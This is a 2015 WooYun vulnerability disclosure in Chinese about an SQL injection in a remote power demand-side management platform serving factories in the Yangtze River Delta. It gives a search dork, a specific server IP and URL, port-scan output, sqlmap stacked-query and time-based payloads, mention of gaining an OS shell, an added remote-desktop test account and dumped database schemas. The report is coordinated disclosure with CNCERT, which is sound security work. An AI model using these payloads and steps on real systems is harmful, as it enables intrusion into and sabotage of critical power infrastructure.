当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123049

漏洞标题:某远程测控平台电力需求侧管理系统通用漏洞可控制长三角地区数百工厂用电

相关厂商:rsc远程测控平台

漏洞作者: Haswell

提交时间:2015-06-29 09:28

修复时间:2015-09-28 13:04

公开时间:2015-09-28 13:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-29: 细节已通知厂商并且等待厂商处理中
2015-06-30: 厂商已经确认,细节仅向厂商公开
2015-07-03: 细节向第三方安全合作伙伴开放
2015-08-24: 细节向核心白帽子及相关领域专家公开
2015-09-03: 细节向普通白帽子公开
2015-09-13: 细节向实习白帽子公开
2015-09-28: 细节向公众公开

简要描述:

该远程测控平台是是一个远程节能集成系统,该系统运用了物联网、传感网、智能电网、远程测控技术和实时数据采集等多种技术于一身。由智能测控仪、通讯转换器和主控服务器(含测控、处理、数据库、Web软件)组成,利用现有的网络和个人电脑资源,在不破坏原有设施的基础上,可以全面地对用电企业进行远程实时检测、诊断、分析和控制,成为企业有序用电、节约用电、安全用电、节能监测的管理工具,是全面实现“十二五”节能减排重要措施—“电力需求侧管理”必备的技术手段。

详细说明:

首先intitle:电力 inurl:login
找到一个ip
http://61.155.209.38/DSM/login.aspx

PORT     STATE  SERVICE       VERSION
23/tcp open telnet Netscreen ScreenOS telnetd
80/tcp open http Microsoft IIS httpd 7.5
| http-methods: Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-title: RSC\xE8\xBF\x9C\xE7\xA8\x8B\xE6\xB5\x8B\xE6\x8E\xA7\xE5\xB9\xB3\xE
5\x8F\xB0
113/tcp closed ident
443/tcp open ssl/http Virata-EmWeb 6.0.1 (Netscreen administrative web s
erver)
|_http-title: Login
| ssl-cert: Subject: commonName=0185102011000871
| Not valid before: 2000-01-01T00:03:44+00:00
|_Not valid after: 2009-12-29T00:03:44+00:00
|_ssl-date: 1988-06-26T00:56:35+00:00; -27y0d16h13m01s from local time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_IDEA_128_CBC_WITH_MD5
| SSL2_RC2_CBC_128_CBC_WITH_MD5
|_ SSL2_RC4_128_WITH_MD5
3389/tcp open ms-wbt-server Microsoft Terminal Service


开着rdp和telnet(什么鬼)
来看看web

filehelper_1435257694207_755.jpg


找回密码功能虽然未出现在页面上,实为在web页面源码中被注释,很容易找到:http://61.155.209.38/DSM/ChangePassword.aspx

filehelper_1435257751536_944.jpg


sql注入点为用户名处 是一处盲注
http://61.155.209.38/DSM/ChangePassword.aspx?__VIEWSTATE=dDwxNzUwNzk0MzY3OztsPEltYWdlQnV0dG9uMTtJbWFnZUJ1dHRvbjI7Pj5k8fYbxBon4dOAVmaNHqj3BeGDzg%3D%3D&TextBox4=a&TextBox3=a&TextBox2=a&TextBox1=a&ImageButton1.x=44&ImageButton1.y=15 (GET)

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: TextBox1 (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __VIEWSTATE=dDwxNzUwNzk0MzY3OztsPEltYWdlQnV0dG9uMTtJbWFnZUJ1dHRvbjI7Pj5k8fYbxBon4dOAVmaNHqj3BeGDzg==&TextBox4=a&TextBox3=a&TextBox2=a&TextBox1=a'; WAITFOR DELAY '0:0:5'--&ImageButton1.x=44&ImageButton1.y=15
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __VIEWSTATE=dDwxNzUwNzk0MzY3OztsPEltYWdlQnV0dG9uMTtJbWFnZUJ1dHRvbjI7Pj5k8fYbxBon4dOAVmaNHqj3BeGDzg==&TextBox4=a&TextBox3=a&TextBox2=a&TextBox1=a' WAITFOR DELAY '0:0:5'--&ImageButton1.x=44&ImageButton1.y=15
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 1.1.4322
back-end DBMS: Microsoft SQL Server 2008


权限为dba 可以直接--os-shell提权
进一步进行内网渗透

2027483246.jpg


(添加测试用账户:wooyuntest wooyuntest 可登录远程桌面)
ipconfig:

DNS  . . . . . . . :
IPv6. . . . . . . . : fe80::48db:78b6:5cb:5b9a%1
IPv4 . . . . . . . . . . . . : 192.168.11.2
. . . . . . . . . . . . : 255.255.255.0
. . . . . . . . . . . . . : 192.168.11.1
isatap.{DDF3CE5B-97E2-4D3B-A5F4-61B9CED85652}:
isatap.{EAC9C36C-FF71-44F2-B60A-0C53C02C1965}:
isatap.{84D32098-D48B-4980-AC30-9A712E0DFA1D}:
isatap.{CCFFE983-24D7-49E5-8B0F-C18FE4512022}:


数据库:

available databases [6]:
[*] master
[*] model
[*] msdb
[*] power_wujiang
[*] PowerV3
[*] tempdb


其中 PowerV3 为主数据库

Database: PowerV3
[35 tables]
+--------------------+
| Alert |
| Buffer |
| ClientConfig |
| ClientInfo |
| CollectData |
| CollectData3 |
| CollectDataDay |
| CollectDataFive |
| CollectDataHour |
| CollectDataMonth |
| CollectDataQuarter |
| CollectDataShift |
| CollectDataTMP |
| CollectDataWeek |
| CollectExtend |
| ConfigView |
| Control |
| ExLastWpp |
| HarmonicData |
| HarmonicDataDetail |
| InterfaceErrorLog |
| InterfaceLog |
| LimitElec |
| Map_wj |
| OutputQty |
| PottDataConfig |
| Sample |
| SampleData |
| SampleDataSec |
| TotalViewRight |
| UserInfo |
| UserRight |
| Users |
| Earmonic!\x02 |
| sqlmapoutput |
+--------------------+


Users表:

Table: Users
[14 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| CKTIF | varchar |
| CKXM | varcharA\x02 |
| GroupID | int |
| LoseTime | int |
| Name | nvarchar |
| Pwd | nvarchar |
| SDFDJ | float |
| SDGDJ | float |
| SDJDJ | float |
| SDL | bigint |
| SDPDJ | float |
| SDR | bigint |
| UserID | varchar |
| UserUnit | varchar |
+----------+--------------+


获得管理员账户:
admin r******3
进入系统
客户主要分布在长三角地区,都是大工厂,全权限,可以进行对任意企业限电,改变预案,监控设备等等

193406826.jpg


849863846.jpg

860791626.jpg

121973065.jpg

444055513.jpg

漏洞证明:

2027483246.jpg


ipconfig:

DNS  . . . . . . . :
IPv6. . . . . . . . : fe80::48db:78b6:5cb:5b9a%1
IPv4 . . . . . . . . . . . . : 192.168.11.2
. . . . . . . . . . . . : 255.255.255.0
. . . . . . . . . . . . . : 192.168.11.1
isatap.{DDF3CE5B-97E2-4D3B-A5F4-61B9CED85652}:
isatap.{EAC9C36C-FF71-44F2-B60A-0C53C02C1965}:
isatap.{84D32098-D48B-4980-AC30-9A712E0DFA1D}:
isatap.{CCFFE983-24D7-49E5-8B0F-C18FE4512022}:


数据库:

available databases [6]:
[*] master
[*] model
[*] msdb
[*] power_wujiang
[*] PowerV3
[*] tempdb


其中 PowerV3 为主数据库

Database: PowerV3
[35 tables]
+--------------------+
| Alert |
| Buffer |
| ClientConfig |
| ClientInfo |
| CollectData |
| CollectData3 |
| CollectDataDay |
| CollectDataFive |
| CollectDataHour |
| CollectDataMonth |
| CollectDataQuarter |
| CollectDataShift |
| CollectDataTMP |
| CollectDataWeek |
| CollectExtend |
| ConfigView |
| Control |
| ExLastWpp |
| HarmonicData |
| HarmonicDataDetail |
| InterfaceErrorLog |
| InterfaceLog |
| LimitElec |
| Map_wj |
| OutputQty |
| PottDataConfig |
| Sample |
| SampleData |
| SampleDataSec |
| TotalViewRight |
| UserInfo |
| UserRight |
| Users |
| Earmonic!\x02 |
| sqlmapoutput |
+--------------------+


Users表:

Table: Users
[14 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| CKTIF | varchar |
| CKXM | varcharA\x02 |
| GroupID | int |
| LoseTime | int |
| Name | nvarchar |
| Pwd | nvarchar |
| SDFDJ | float |
| SDGDJ | float |
| SDJDJ | float |
| SDL | bigint |
| SDPDJ | float |
| SDR | bigint |
| UserID | varchar |
| UserUnit | varchar |
+----------+--------------+


Table: ClientInfo
[47 columns]
+-------------+-----------+
| Column | Type |
+-------------+-----------+
| AccountText | varchar |
| Ano | int |
| Aoup | int |
| area | varchar |
| Aup | int |
| Axl | bigint |
| cap | int |
| class | int |
| CostPercent | int |
| CostText | varchar |
| CT | int |
| dep | varchar |
| Dup | int |
| dw | varchar |
| EconomyText | varchar |
| GNO | varchar |
| ID | varchar |
| In | knt |
| JEWN | varchar |
| JU | int |
| line | varchar |
| load | varchar |
| name | varchar |
| NO | varchar\t |
| PL | int |
| PT | int |
| PupA |
| Qxl | bigint |
| rCT | int |
| rPT | int |
| scap | int |
| SMSPercent | int |
| StdI | int |
| StdU | int |
| StdW | int |
| style | varchar |
| test | varchar |
| Vdn | int |
| Vno | int |
| Vup | int |
| Vxl | bigint |
| wire | varchar |
| Wpps | bigint |
| Wrem | bigint |
+-------------+-----------+


获得管理员账户:
admin r******3
进入系统
全权限,可以进行对任意企业的限电,改变预案,监控设备等等

193406826.jpg


849863846.jpg

860791626.jpg

121973065.jpg

444055513.jpg

修复方案:

过滤
重要系统屏蔽搜索引擎
请删除数据库中 sqlmapoutput表 和服务器上测试用用户 wooyuntest wooyuntest

版权声明:转载请注明来源 Haswell@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-06-30 13:02

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向国家能源局通报,由其后续协调网站管理单位处置.

最新状态:

暂无